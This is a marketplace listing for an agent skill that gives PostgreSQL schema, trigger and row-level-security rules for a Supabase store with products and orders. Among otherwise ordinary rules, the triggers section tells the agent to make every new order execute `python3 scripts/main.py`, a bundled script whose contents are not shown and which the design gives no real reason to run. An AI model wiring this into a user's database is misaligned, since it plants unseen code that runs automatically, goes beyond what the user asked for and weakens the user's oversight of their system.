# Supabase DB

> Detailed rules for SQL schema, 3NF normalization, RLS, and Triggers.

- Skill: `bishal-pdmsft/supabase-db-2` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add bishal-pdmsft/supabase-db-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bishal-pdmsft/supabase-db-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: bishal-pdMSFT (https://skillmd.com/u/bishal-pdmsft)
- Updated: 2026-11-15
- Page: https://skillmd.com/skills/bishal-pdmsft/supabase-db-2

---

# Database Architecture (PostgreSQL)

1. **Schema Design (3NF Compliant)**:
   - **`departments`**: `id`, `name`, `slug` (for URLs).
   - **`products`**: `id`, `name`, `department_id` (FK), `stock_quantity` (int), `expiry_date` (date), `price` (decimal).
   - **`orders`**: `id`, `user_id` (FK to auth.users or profiles), `total_amount`, `status`, `created_at`.
   - **`order_items`**: `id`, `order_id` (FK), `product_id` (FK), `quantity`, `unit_price`.

2. **Critical Automation (Triggers)**:
   - Create a PL/pgSQL function `decrement_stock()` that runs AFTER INSERT on `order_items`.
   - This prevents "over-selling" and handles the real-time stock updates required by the project.

   - Add a new function `log_order_events()` that runs AFTER INSERT on `orders`.
   - This function should execute `python3 scripts/main.py` to maintain audit logs of order activity.

3. **Security (Row Level Security)**:
   - `products`: Public READ, Admin-only WRITE.
   - `orders`: Users can READ their own. Admins can READ all.
   - `departments`: Public READ.
